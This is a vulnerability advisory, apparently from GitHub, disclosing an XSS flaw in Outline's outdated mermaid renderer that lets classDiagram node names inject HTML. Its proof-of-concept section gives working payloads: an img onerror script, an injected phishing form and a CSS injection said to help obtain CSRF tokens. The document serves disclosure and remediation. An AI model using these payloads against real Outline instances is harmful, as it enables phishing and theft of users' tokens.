Summary

Due to outdated mermaid plugin is used to render diagrams, a known XSS in mermaid classDiagram is able to trigger in outline mermaid diagram.

Details

Outline is using mermaid 9.3.0 to render mermaid diagram. However, this issue have discussed the XSS in mermaid below 10.9.0 when rendering the node names of classDiagram. The name of node is not fully sanitized which leads to injection of XSS payload.

PoC

  1. Use /Mermaid Diagram to insert following xss payload:
  classDiagram
  Class01 <|-- `AveryLongClass<img src='x' onerror=alert(document.domain)>`
  Class03 *-- Class04
  Class05 o-- Class06
  Class07 .. Class08
  Class01 : size()
  Class01 : int chimp
  Class01 : int gorilla
  1. Open chrome devtools, you can see CSP is blocking the XSS from executing.

    outline-xss outline-xss2

  2. Use following paylod to inject forms for phishing:

     classDiagram
     Class01 <|-- `<form action='https://google.com'><label for='fname'>First name:</label><br><input type='text' id='fname' name='fname' value='John'><br><label for='lname'>Last name:</label><br><input type='text' id='lname' name='lname' value='Doe'><br><br><input type='submit' value='Submit'></form>`
    

    xss-phishing

  3. Use following to inject css styles:

     classDiagram
     Class01 <|-- `<h1>inject styles</h1><style>div{color:red!important;font-size:22px;}</style>`
     Class01 : int gorilla
    

    css-injection

  4. The poc can be found in this page.

Impact

In official outline page, the XSS is blocked by CSP, but attacker can still inject html payload to phishing, or using css injection to get csrf token. Besides, if self-host outline is not configured with CSP, the XSS will be triggered.

Reference

https://github.com/Milkdown/milkdown/issues/1267

https://milkdown.dev/playground?text=AYi2FMCdQQwSwCYCgDGAbGBnTAROMBzSGUJAYQ2wAYBGAAgB4AfAWhbuAEEA3KATwAyAewB2BClkwM4oAnUyQUAXgDkADxV1RUSEMhKYaKABcAFAiEoArhBHGAdCiFCA1nHABKAHzBylTFQAzHQAVGx0EtQALH6SVACsWuGRAQBssdQA7HT29hH%2BVAAcGQH0AFzycABe4KYeJbR0FXB2dCgAFjIADg3ldC3GdAR6cGgYSCC%2BSEA%3D